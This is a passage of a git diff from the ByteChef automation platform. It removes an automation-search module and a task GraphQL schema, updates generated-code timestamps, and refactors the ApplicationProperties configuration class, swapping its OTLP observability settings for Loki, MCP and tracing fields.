diff --git a/server/libs/automation/automation-search/automation-search-api/build.gradle.kts b/server/libs/automation/automation-search/automation-search-api/build.gradle.kts
deleted file mode 100644
index 9751eed13da..00000000000
--- a/server/libs/automation/automation-search/automation-search-api/build.gradle.kts
+++ /dev/null
@@ -1,3 +0,0 @@
-dependencies {
-    compileOnly("com.github.spotbugs:spotbugs-annotations")
-}
diff --git a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchAssetProvider.java b/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchAssetProvider.java
deleted file mode 100644
index 39efd8717e6..00000000000
--- a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchAssetProvider.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.search;
-
-import java.util.List;
-
-/**
- * @author Ivica Cardic
- */
-public interface SearchAssetProvider {
-
-    List<? extends SearchResult> search(String query, int limit);
-
-    SearchAssetType getAssetType();
-}
diff --git a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchAssetType.java b/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchAssetType.java
deleted file mode 100644
index 572f467d63e..00000000000
--- a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchAssetType.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.search;
-
-/**
- * @author Ivica Cardic
- */
-public enum SearchAssetType {
-
-    API_COLLECTION,
-    API_ENDPOINT,
-    CONNECTION,
-    DATA_TABLE,
-    DEPLOYMENT,
-    KNOWLEDGE_BASE,
-    KNOWLEDGE_BASE_DOCUMENT,
-    PROJECT,
-    WORKFLOW
-}
diff --git a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchResult.java b/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchResult.java
deleted file mode 100644
index 70fd1dd1611..00000000000
--- a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/SearchResult.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.search;
-
-/**
- * @author Ivica Cardic
- */
-public interface SearchResult<ID> {
-
-    ID id();
-
-    String name();
-
-    String description();
-
-    SearchAssetType type();
-}
diff --git a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/facade/AutomationSearchFacade.java b/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/facade/AutomationSearchFacade.java
deleted file mode 100644
index 434ea572b98..00000000000
--- a/server/libs/automation/automation-search/automation-search-api/src/main/java/com/bytechef/automation/search/facade/AutomationSearchFacade.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.search.facade;
-
-import com.bytechef.automation.search.SearchResult;
-import java.util.List;
-
-/**
- * Facade for searching across all automation entities.
- *
- * @author Ivica Cardic
- */
-public interface AutomationSearchFacade {
-
-    /**
-     * Search across all automation entities matching the given query.
-     *
-     * @param query the search query string
-     * @param limit maximum number of results per category
-     * @return list of search results from all categories
-     */
-    List<SearchResult<?>> search(String query, int limit);
-}
diff --git a/server/libs/automation/automation-search/automation-search-graphql/build.gradle.kts b/server/libs/automation/automation-search/automation-search-graphql/build.gradle.kts
deleted file mode 100644
index 6904162f001..00000000000
--- a/server/libs/automation/automation-search/automation-search-graphql/build.gradle.kts
+++ /dev/null
@@ -1,10 +0,0 @@
-dependencies {
-    api(project(":server:libs:automation:automation-search:automation-search-api"))
-
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework.graphql:spring-graphql")
-    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
-
-    testImplementation("org.springframework.boot:spring-boot-starter-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-}
diff --git a/server/libs/automation/automation-search/automation-search-graphql/src/main/java/com/bytechef/automation/search/web/graphql/AutomationSearchGraphQlController.java b/server/libs/automation/automation-search/automation-search-graphql/src/main/java/com/bytechef/automation/search/web/graphql/AutomationSearchGraphQlController.java
deleted file mode 100644
index 24a52a9810d..00000000000
--- a/server/libs/automation/automation-search/automation-search-graphql/src/main/java/com/bytechef/automation/search/web/graphql/AutomationSearchGraphQlController.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.search.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.automation.search.SearchResult;
-import com.bytechef.automation.search.facade.AutomationSearchFacade;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-class AutomationSearchGraphQlController {
-
-    private static final int DEFAULT_LIMIT = 100;
-
-    private final AutomationSearchFacade automationSearchFacade;
-
-    @SuppressFBWarnings("EI")
-    AutomationSearchGraphQlController(AutomationSearchFacade automationSearchFacade) {
-        this.automationSearchFacade = automationSearchFacade;
-    }
-
-    @QueryMapping(name = "automationSearch")
-    public List<SearchResult<?>> automationSearch(@Argument String query, @Argument Integer limit) {
-        int effectiveLimit = limit != null ? limit : DEFAULT_LIMIT;
-
-        return automationSearchFacade.search(query, effectiveLimit);
-    }
-}
diff --git a/server/libs/automation/automation-search/automation-search-graphql/src/main/resources/graphql/automation-search.graphqls b/server/libs/automation/automation-search/automation-search-graphql/src/main/resources/graphql/automation-search.graphqls
deleted file mode 100644
index 56f2fcacc1b..00000000000
--- a/server/libs/automation/automation-search/automation-search-graphql/src/main/resources/graphql/automation-search.graphqls
+++ /dev/null
@@ -1,91 +0,0 @@
-extend type Query {
-    automationSearch(query: String!, limit: Int): [SearchResult!]!
-}
-
-interface SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-}
-
-enum SearchAssetType {
-    API_COLLECTION
-    API_ENDPOINT
-    CONNECTION
-    DATA_TABLE
-    DEPLOYMENT
-    KNOWLEDGE_BASE
-    KNOWLEDGE_BASE_DOCUMENT
-    PROJECT
-    WORKFLOW
-}
-
-type ProjectSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-}
-
-type WorkflowSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-    projectId: ID!
-    label: String!
-}
-
-type ProjectDeploymentSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-    projectName: String!
-}
-
-type ApiCollectionSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-}
-
-type ApiEndpointSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-    collectionId: ID!
-    path: String
-}
-
-type DataTableSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-}
-
-type KnowledgeBaseSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-}
-
-type KnowledgeBaseDocumentSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-    knowledgeBaseId: ID!
-}
-
-type ConnectionSearchResult implements SearchResult {
-    id: ID!
-    name: String!
-    description: String
-    type: SearchAssetType!
-}
diff --git a/server/libs/automation/automation-search/automation-search-service/build.gradle.kts b/server/libs/automation/automation-search/automation-search-service/build.gradle.kts
deleted file mode 100644
index 902238bf6ba..00000000000
--- a/server/libs/automation/automation-search/automation-search-service/build.gradle.kts
+++ /dev/null
@@ -1,7 +0,0 @@
-dependencies {
-    api(project(":server:libs:automation:automation-search:automation-search-api"))
-
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework:spring-tx")
-    implementation(project(":server:libs:core:tenant:tenant-api"))
-}
diff --git a/server/libs/automation/automation-search/automation-search-service/src/main/java/com/bytechef/automation/search/facade/AutomationSearchFacadeImpl.java b/server/libs/automation/automation-search/automation-search-service/src/main/java/com/bytechef/automation/search/facade/AutomationSearchFacadeImpl.java
deleted file mode 100644
index d0d7a2d269b..00000000000
--- a/server/libs/automation/automation-search/automation-search-service/src/main/java/com/bytechef/automation/search/facade/AutomationSearchFacadeImpl.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.search.facade;
-
-import com.bytechef.automation.search.SearchAssetProvider;
-import com.bytechef.automation.search.SearchResult;
-import com.bytechef.tenant.TenantContext;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CompletableFuture;
-import org.springframework.stereotype.Service;
-import org.springframework.transaction.annotation.Transactional;
-
-/**
- * @author Ivica Cardic
- */
-@Service
-@Transactional(readOnly = true)
-public class AutomationSearchFacadeImpl implements AutomationSearchFacade {
-
-    private final List<SearchAssetProvider> providers;
-
-    public AutomationSearchFacadeImpl(List<SearchAssetProvider> searchAssetProviders) {
-        this.providers = List.copyOf(searchAssetProviders);
-    }
-
-    @Override
-    @SuppressWarnings("unchecked")
-    public List<SearchResult<?>> search(String query, int limit) {
-        List<CompletableFuture<List<SearchResult<?>>>> futures = new ArrayList<>();
-
-        String currentTenantId = TenantContext.getCurrentTenantId();
-
-        for (SearchAssetProvider provider : providers) {
-            CompletableFuture<List<SearchResult<?>>> future = CompletableFuture.supplyAsync(
-                () -> (List<SearchResult<?>>) TenantContext.callWithTenantId(currentTenantId,
-                    () -> provider.search(query, limit)));
-
-            futures.add(future);
-        }
-
-        CompletableFuture.allOf(futures.toArray(new CompletableFuture[0]))
-            .join();
-
-        return futures.stream()
-            .flatMap(future -> future.join()
-                .stream())
-            .toList();
-    }
-}
diff --git a/server/libs/automation/automation-task/automation-task-graphql/src/main/resources/graphql/task.graphqls b/server/libs/automation/automation-task/automation-task-graphql/src/main/resources/graphql/task.graphqls
deleted file mode 100644
index b0b2674b78a..00000000000
--- a/server/libs/automation/automation-task/automation-task-graphql/src/main/resources/graphql/task.graphqls
+++ /dev/null
@@ -1,29 +0,0 @@
-type Task {
-    id: ID!
-    name: String!
-    description: String
-    createdBy: String
-    createdDate: String
-    lastModifiedBy: String
-    lastModifiedDate: String
-    version: Int!
-}
-
-input TaskInput {
-    id: ID
-    name: String!
-    description: String
-    version: Int
-}
-
-extend type Query {
-    task(id: ID!): Task
-    tasks: [Task]
-    tasksByIds(ids: [ID!]!): [Task]
-}
-
-extend type Mutation {
-    createTask(task: TaskInput!): Task
-    updateTask(task: TaskInput!): Task
-    deleteTask(id: ID!): Boolean
-}
diff --git a/server/libs/automation/automation-task/automation-task-service/src/main/java/com/bytechef/automation/task/config/AutomationTaskJdbcRepositoryConfiguration.java b/server/libs/automation/automation-task/automation-task-service/src/main/java/com/bytechef/automation/task/config/AutomationTaskJdbcRepositoryConfiguration.java
deleted file mode 100644
index 5bc45ea7b28..00000000000
--- a/server/libs/automation/automation-task/automation-task-service/src/main/java/com/bytechef/automation/task/config/AutomationTaskJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.task.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.automation.task.repository")
-class AutomationTaskJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/automation/automation-task/automation-task-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/automation/automation-task/automation-task-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index d0b7b563f91..00000000000
--- a/server/libs/automation/automation-task/automation-task-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.automation.task.config.AutomationTaskJdbcRepositoryConfiguration
diff --git a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/WorkflowExecutionApi.java b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/WorkflowExecutionApi.java
index 0309e7447e3..25f6a192695 100644
--- a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/WorkflowExecutionApi.java
+++ b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/WorkflowExecutionApi.java
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.779357+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.768603+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "workflow-execution", description = "The Automation Workflow Execution Internal API")
 public interface WorkflowExecutionApi {
diff --git a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/ProjectStatusModel.java b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/ProjectStatusModel.java
index 95ed9b970da..4d442dc7c35 100644
--- a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/ProjectStatusModel.java
+++ b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/ProjectStatusModel.java
@@ -20,7 +20,7 @@
  * The status of a project.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.779357+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.768603+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum ProjectStatusModel {
   
   DRAFT("DRAFT"),
diff --git a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WebhookRetryModel.java b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WebhookRetryModel.java
index 15556017edb..df6ce12a392 100644
--- a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WebhookRetryModel.java
+++ b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WebhookRetryModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("Webhook_retry")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.779357+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.768603+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WebhookRetryModel {
 
   private @Nullable Integer initialInterval;
diff --git a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowBasic1Model.java b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowBasic1Model.java
index c581e46de8d..4a1f94ad44a 100644
--- a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowBasic1Model.java
+++ b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowBasic1Model.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "WorkflowBasic_1", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("WorkflowBasic_1")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.779357+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.768603+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowBasic1Model {
 
   private @Nullable String createdBy;
diff --git a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java
index e47f828de16..b47f70ded39 100644
--- a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java
+++ b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "WorkflowExecutionBasic", description = "Contains information about execution of a Integration workflow.")
 @JsonTypeName("WorkflowExecutionBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.779357+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.768603+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowExecutionBasicModel {
 
   private Long id;
diff --git a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionModel.java b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionModel.java
index 36c4e48b62c..86ae9c10801 100644
--- a/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionModel.java
+++ b/server/libs/automation/automation-workflow/automation-workflow-execution/automation-workflow-execution-rest/generated/src/main/java/com/bytechef/automation/workflow/execution/web/rest/model/WorkflowExecutionModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "WorkflowExecution", description = "Contains information about execution of a project workflow.")
 @JsonTypeName("WorkflowExecution")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.779357+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.768603+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowExecutionModel {
 
   private Long id;
diff --git a/server/libs/config/app-config/src/main/java/com/bytechef/config/ApplicationProperties.java b/server/libs/config/app-config/src/main/java/com/bytechef/config/ApplicationProperties.java
index 41a2cff70e6..17dd09cf563 100644
--- a/server/libs/config/app-config/src/main/java/com/bytechef/config/ApplicationProperties.java
+++ b/server/libs/config/app-config/src/main/java/com/bytechef/config/ApplicationProperties.java
@@ -23,9 +23,6 @@
 import org.springframework.boot.context.properties.ConfigurationProperties;
 
 /**
- * Application configuration properties. Contains all configurable properties for the platform, including AI, messaging,
- * storage, security, and workflow settings.
- *
  * @author Ivica Cardic
  */
 @ConfigurationProperties(prefix = "bytechef", ignoreUnknownFields = false)
@@ -33,92 +30,39 @@
 public class ApplicationProperties {
 
     /**
-     * Application edition type.
+     * Edition.
      */
     public enum Edition {
-        /** Community Edition */
-        CE,
-        /** Enterprise Edition */
-        EE
+        CE, EE
     }
 
-    /** AI and machine learning configuration */
     private Ai ai = new Ai();
-
-    /** Analytics configuration */
     private Analytics analytics = new Analytics();
-
-    /** Cache provider configuration */
     private Cache cache = new Cache();
-
-    /** Cloud provider configuration */
     private Cloud cloud = new Cloud();
-
-    /** Component registry configuration */
     private Component component = new Component();
-
-    /** Workflow coordinator configuration */
     private Coordinator coordinator = new Coordinator();
-
-    /** Database datasource configuration */
     private Datasource datasource = new Datasource();
-
-    /** Data storage provider configuration */
     private DataStorage dataStorage;
-
-    /** Service discovery configuration */
     private DiscoveryService discoveryService = new DiscoveryService();
-
-    /** Application edition (CE or EE) */
     private Edition edition = Edition.EE;
-
-    /** Encryption configuration */
     private Encryption encryption;
-
-    /** List of enabled feature flags */
     private List<String> featureFlags = List.of();
-
-    /** File storage provider configuration */
     private FileStorage fileStorage = new FileStorage();
-
-    /** Help hub configuration */
     private HelpHub helpHub = new HelpHub();
-
-    /** Knowledge base configuration */
-    private KnowledgeBase knowledgeBase = new KnowledgeBase();
-
-    /** Observability and logging configuration */
     private Observability observability = new Observability();
-
-    /** Email configuration */
     private Mail mail = new Mail();
-
-    /** Message broker configuration */
+    private Mcp mcp = new Mcp();
     private MessageBroker messageBroker = new MessageBroker();
-
-    /** OAuth2 configuration */
     private Oauth2 oauth2 = new Oauth2();
-
-    /** Public URL for the application */
     private String publicUrl;
-
-    /** Static resources configuration */
     private Resources resources = new Resources();
-
-    /** Security configuration */
     private Security security;
-
-    /** User sign-up configuration */
     private SignUp signUp = new SignUp();
-
-    /** Multi-tenancy configuration */
     private Tenant tenant = new Tenant();
-
-    /** Webhook URL for external integrations */
     private String webhookUrl;
+    private Tracing tracing = new Tracing();
     private Worker worker = new Worker();
-
-    /** Workflow engine configuration */
     private Workflow workflow = new Workflow();
 
     public Ai getAi() {
@@ -177,10 +121,6 @@ public HelpHub getHelpHub() {
         return helpHub;
     }
 
-    public KnowledgeBase getKnowledgeBase() {
-        return knowledgeBase;
-    }
-
     public Observability getObservability() {
         return observability;
     }
@@ -189,6 +129,10 @@ public Mail getMail() {
         return mail;
     }
 
+    public Mcp getMcp() {
+        return mcp;
+    }
+
     public MessageBroker getMessageBroker() {
         return messageBroker;
     }
@@ -217,6 +161,10 @@ public Tenant getTenant() {
         return tenant;
     }
 
+    public Tracing getTracing() {
+        return tracing;
+    }
+
     public String getWebhookUrl() {
         return webhookUrl;
     }
@@ -285,10 +233,6 @@ public void setHelpHub(HelpHub helpHub) {
         this.helpHub = helpHub;
     }
 
-    public void setKnowledgeBase(KnowledgeBase knowledgeBase) {
-        this.knowledgeBase = knowledgeBase;
-    }
-
     public void setObservability(Observability observability) {
         this.observability = observability;
     }
@@ -297,6 +241,10 @@ public void setMail(Mail mail) {
         this.mail = mail;
     }
 
+    public void setMcp(Mcp mcp) {
+        this.mcp = mcp;
+    }
+
     public void setMessageBroker(MessageBroker messageBroker) {
         this.messageBroker = messageBroker;
     }
@@ -325,6 +273,10 @@ public void setTenant(Tenant tenant) {
         this.tenant = tenant;
     }
 
+    public void setTracing(Tracing tracing) {
+        this.tracing = tracing;
+    }
+
     public void setWebhookUrl(String webhookUrl) {
         this.webhookUrl = webhookUrl;
     }
@@ -337,94 +289,72 @@ public void setWorkflow(Workflow workflow) {
         this.workflow = workflow;
     }
 
-    /**
-     * Observability and logging configuration for monitoring and diagnostics.
-     */
     public static class Observability {
-
-        /** Whether observability features are enabled */
         private boolean enabled;
-
-        /** Logging observability configuration */
-        private Logging logging = new Logging();
-
-        /** Metrics observability configuration */
-        private Metrics metrics = new Metrics();
-
-        /** Tracing observability configuration */
-        private Tracing tracing = new Tracing();
+        private Loki loki;
 
         public boolean isEnabled() {
             return enabled;
         }
 
-        public Logging getLogging() {
-            return logging;
-        }
-
-        public Metrics getMetrics() {
-            return metrics;
-        }
-
-        public Tracing getTracing() {
-            return tracing;
-        }
-
         public void setEnabled(boolean enabled) {
             this.enabled = enabled;
         }
 
-        public void setLogging(Logging logging) {
-            this.logging = logging;
-        }
-
-        public void setMetrics(Metrics metrics) {
-            this.metrics = metrics;
+        public Loki getLoki() {
+            return loki;
         }
 
-        public void setTracing(Tracing tracing) {
-            this.tracing = tracing;
+        public void setLoki(Loki loki) {
+            this.loki = loki;
         }
 
-        public static class Logging {
-
-            /** OTLP endpoint for logging export */
-            private String endpoint;
+        public static class Loki {
+            private Appender appender = new Appender();
 
-            public String getEndpoint() {
-                return endpoint;
+            public Appender getAppender() {
+                return appender;
             }
 
-            public void setEndpoint(String endpoint) {
-                this.endpoint = endpoint;
+            public void setAppender(Appender appender) {
+                this.appender = appender;
             }
-        }
 
-        public static class Metrics {
+            public static class Appender {
+                private Http http;
+                private Level level = Level.OFF;
 
-            /** OTLP endpoint for metrics export */
-            private String endpoint;
+                public Http getHttp() {
+                    return http;
+                }
 
-            public String getEndpoint() {
-                return endpoint;
-            }
+                public void setHttp(Http http) {
+                    this.http = http;
+                }
 
-            public void setEndpoint(String endpoint) {
-                this.endpoint = endpoint;
-            }
-        }
+                public enum Level {
+                    OFF, ERROR, WARN, INFO, DEBUG, TRACE, ALL
+                }
 
-        public static class Tracing {
+                public Level getLevel() {
+                    return level;
+                }
 
-            /** OTLP endpoint for tracing export */
-            private String endpoint;
+                public void setLevel(Level level) {
+                    this.level = level;
+                }
 
-            public String getEndpoint() {
-                return endpoint;
-            }
+                public static class Http {
+                    private String url;
 
-            public void setEndpoint(String endpoint) {
-                this.endpoint = endpoint;
+                    public String getUrl() {
+                        return url;
+                    }
+
+                    public void setUrl(String url) {
+                        this.url = url;
+                    }
+                }
             }
         }
     }
@@ -434,194 +364,109 @@ public void setEndpoint(String endpoint) {
      */
     public static class Ai {
 
